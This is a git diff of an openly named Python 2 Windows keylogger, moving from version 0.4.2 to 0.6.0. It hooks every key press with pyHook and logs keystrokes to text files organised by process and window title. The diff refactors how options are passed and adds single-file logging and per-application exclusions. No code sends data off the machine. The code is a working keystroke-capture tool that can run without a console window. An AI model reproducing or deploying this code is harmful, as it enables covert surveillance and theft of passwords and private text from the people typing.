diff --git a/keylogger.pyw b/keylogger.pyw
index 4fd1446..0e98a29 100644
--- a/keylogger.pyw
+++ b/keylogger.pyw
@@ -12,9 +12,7 @@ class KeyLogger:
def __init__(self):
self.ParseOptions()
-
self.hm = pyHook.HookManager()
-
self.hm.KeyDown = self.OnKeyboardEvent
if self.options.hookKeyboard == True:
@@ -22,17 +20,16 @@ class KeyLogger:
#if self.options.hookMouse == True:
# self.hm.HookMouse()
- self.lw = LogWriter(self.options.dirname, self.options.debug)
+ self.lw = LogWriter(self.options)
pythoncom.PumpMessages()
-
def OnKeyboardEvent(self, event):
'''This function is the stuff that's supposed to happen when a key is pressed.
Calls LogWriter.WriteToLogFile with the keystroke properties.
'''
- self.lw.WriteToLogFile(event, self.options)
+ self.lw.WriteToLogFile(event)
if event.Key == self.options.exitKey:
sys.exit()
@@ -43,8 +40,8 @@ class KeyLogger:
'''Read command line options
'''
- parser = OptionParser(version="%prog version 0.4.2")
- parser.add_option("-f", "--file", action="store", dest="dirname", help="write log data to DIRNAME [default: %default]")
+ parser = OptionParser(version="%prog version 0.6.0")
+ parser.add_option("-f", "--file", action="store", dest="dirName", help="write log data to DIRNAME [default: %default]")
parser.add_option("-k", "--keyboard", action="store_true", dest="hookKeyboard", help="log keyboard input [default: %default]")
parser.add_option("-a", "--addlinefeed", action="store_true", dest="addLineFeed", help="add linefeed [\\n] character when carriage return [\\r] character is detected (for Notepad compatibility) [default: %default]")
parser.add_option("-b", "--parsebackspace", action="store_true", dest="parseBackspace", help="translate backspace chacarter into printable string [default: %default]")
@@ -55,8 +52,9 @@ class KeyLogger:
parser.add_option("-d", "--debug", action="store_true", dest="debug", help="debug mode (print output to console instead of the log file) [default: %default]")
parser.add_option("-n", "--nolog", action="append", dest="noLog", help="specify an application by full path name whose input will not be logged. repeat option for multiple applications. [default: %default]")
+ parser.add_option("-o", "--onefile", action="store", dest="oneFile", help="log all output to one file ONEFILE, (inside DIRNAME, as specified with -f option), rather than to multiple files. [default: %default]")
- parser.set_defaults(dirname=r"C:\Temp\logdir",
+ parser.set_defaults(dirName=r"C:\Temp\logdir",
hookKeyboard=True,
addLineFeed=False,
parseBackspace=False,
@@ -64,10 +62,11 @@ class KeyLogger:
exitKey='F12',
flushKey='F11',
debug=False,
- noLog=None)
+ noLog=None,
+ oneFile=None)
(self.options, args) = parser.parse_args()
-
+
if __name__ == '__main__':
kl = KeyLogger()
diff --git a/logwriter.py b/logwriter.py
index d022f34..826dd1e 100644
--- a/logwriter.py
+++ b/logwriter.py
@@ -7,14 +7,15 @@ import sys
class LogWriter:
- def __init__(self, rootLogDir=r"C:\Temp\logdir", debug=False):
+ def __init__(self, options):
- self.debug = debug
+ self.options = options
- self.rootLogDir = os.path.normpath(rootLogDir)
+ #self.rootLogDir = os.path.normpath(options.dirName)
+ self.options.dirName = os.path.normpath(self.options.dirName)
try:
- os.makedirs(self.rootLogDir, 0777) #TODO: change this to makedirs???
+ os.makedirs(self.options.dirName, 0777)
except OSError, detail:
if(detail.errno==17): #if directory already exists, swallow the error
pass
@@ -22,28 +23,30 @@ class LogWriter:
print "OSError:", detail
self.writeTarget = ""
- self.systemlog = open(r"C:\Temp\logdir\systemlog.txt", 'a')
+ #self.systemlog = open(os.path.join(os.path.normpath(self.options.dirName), "systemlog.txt"), 'a')
- def WriteToLogFile(self, event, options):
- loggable = self.OpenLogFile(event, options.noLog)
-
+ def WriteToLogFile(self, event):
+ loggable = self.TestForNoLog(event)
+
if not loggable: # if the program is in the no-log list, we return without writing to log.
- if self.debug: print "not loggable, we are outta here"
+ if self.options.debug: print "not loggable, we are outta here"
return
- if self.debug: print "loggable, lets log it"
+ if self.options.debug: print "loggable, lets log it"
+ self.OpenLogFile(event)
+
asciiSubset = [8,9,10,13,27] #backspace, tab, line feed, carriage return, escape
asciiSubset.extend(range(32,128)) #all normal printable chars
- if options.parseBackspace == True:
+ if self.options.parseBackspace == True:
asciiSubset.remove(8) #remove backspace from allowed chars if needed
- if options.parseEscape == True:
+ if self.options.parseEscape == True:
asciiSubset.remove(27) #remove escape from allowed chars if needed
if event.Ascii in asciiSubset:
self.PrintStuff(chr(event.Ascii))
- if event.Ascii == 13 and options.addLineFeed == True:
+ if event.Ascii == 13 and self.options.addLineFeed == True:
self.PrintStuff(chr(10)) #add line feed after CR,if option is set
#we translate all the special keys, such as arrows, backspace, into text strings for logging
@@ -52,70 +55,78 @@ class LogWriter:
self.PrintStuff('[KeyName:' + event.Key + ']')
#translate backspace into text string, if option is set.
- if event.Ascii == 8 and options.parseBackspace == True:
+ if event.Ascii == 8 and self.options.parseBackspace == True:
self.PrintStuff('[KeyName:' + event.Key + ']')
#translate escape into text string, if option is set.
- if event.Ascii == 27 and options.parseEscape == True:
+ if event.Ascii == 27 and self.options.parseEscape == True:
self.PrintStuff('[KeyName:' + event.Key + ']')
- if event.Key == options.flushKey:
+ if event.Key == self.options.flushKey:
self.log.flush()
- self.systemlog.flush()
+ # self.systemlog.flush()
- def OpenLogFile(self, event, noLog):
+ def TestForNoLog(self, event):
+ '''This function returns False if the process name associated with an event
+ is listed in the noLog option, and True otherwise.'''
+
+ self.processName = self.GetProcessNameFromHwnd(event.Window)
+ if self.options.noLog != None:
+ for path in self.options.noLog:
+ if os.stat(path) == os.stat(self.processName): #we use os.stat instead of comparing strings due to multiple possible representations of a path
+ #if self.debug:
+ # print "we dont log this"
+ return False
+ return True
+
+ def OpenLogFile(self, event):
- filter=r"[\\\/\:\*\?\"\<\>\|]+" #regexp filter for the non-allowed characters in windows filenames.
+ if self.options.oneFile != None:
+ if self.writeTarget == "":
+ self.writeTarget = os.path.join(os.path.normpath(self.options.dirName), os.path.normpath(self.options.oneFile))
+ self.log = open(self.writeTarget, 'a')
+ if self.options.debug: print "writing to:", self.writeTarget
+ return
+
- subDirName = self.GetProcessNameFromHwnd(event.Window) #our subdirname is the full path of the process owning the hwnd.
+ filter=r"[\\\/\:\*\?\"\<\>\|]+" #regexp filter for the non-allowed characters in windows filenames.
- if noLog != None:
- for path in noLog: #check our options to make sure that we dont log specified apps.
- if os.stat(path) == os.stat(subDirName): #we use os.stat instead of comparing strings due to multiple possible representations of a path
- if self.debug:
- print "we dont log this"
- return False
- if self.debug:
- print "we log this"
-
- #subDirName = re.sub(r':?\\',r'__',subDirName)
- subDirName = re.sub(filter,r'__',subDirName)
+ subDirName = re.sub(filter,r'__',self.processName) #our subdirname is the full path of the process owning the hwnd, filtered.
WindowName = re.sub(filter,r'__',str(event.WindowName))
try:
- os.makedirs(os.path.join(self.rootLogDir, subDirName), 0777)
+ os.makedirs(os.path.join(self.options.dirName, subDirName), 0777)
except OSError, detail:
if(detail.errno==17): #if directory already exists, swallow the error
pass
else:
print "OSError:", detail
- filename = time.strftime('%Y%m%d') + "_" + str(event.Window) + "_" + WindowName + ".txt"
+ filename = time.strftime('%Y%m%d') + "_" + str(event.Window) + "_" + WindowName
+ filename = filename[0:200] + ".txt" #make sure our filename is not longer than 255 characters, as per filesystem limit.
#we do this writetarget thing to make sure we dont keep opening and closing the log file when all inputs are going
#into the same log file. so, when our new writetarget is the same as the previous one, we just write to the same
#already-opened file.
- if self.writeTarget != os.path.join(self.rootLogDir, subDirName, filename):
+ if self.writeTarget != os.path.join(self.options.dirName, subDirName, filename):
if self.writeTarget != "":
- if self.debug:
+ if self.options.debug:
print "flushing and closing old log"
- self.systemlog.write("flushing and closing old log\n")
+ #self.systemlog.write("flushing and closing old log\n")
self.log.flush()
self.log.close()
- self.writeTarget = os.path.join(self.rootLogDir, subDirName, filename)
- if self.debug:
+ self.writeTarget = os.path.join(self.options.dirName, subDirName, filename)
+ if self.options.debug:
print "writeTarget:",self.writeTarget
- self.systemlog.write("writeTarget: " + self.writeTarget + "\n")
+ #self.systemlog.write("writeTarget: " + self.writeTarget + "\n")
self.log = open(self.writeTarget, 'a')
-
- return True
def PrintStuff(self, stuff):
- if self.debug == False:
+ if not self.options.debug:
self.log.write(stuff)
- self.systemlog.write(stuff)
+ #self.systemlog.write(stuff)
else:
sys.stdout.write(stuff)
@@ -123,7 +134,6 @@ class LogWriter:
def GetProcessNameFromHwnd(self, hwnd):
threadpid, procpid = win32process.GetWindowThreadProcessId(hwnd)
- #if self.debug: print "(threadid, processid)", threadpid, procpid
# PROCESS_QUERY_INFORMATION (0x0400) or PROCESS_VM_READ (0x0010) or PROCESS_ALL_ACCESS (0x1F0FFF)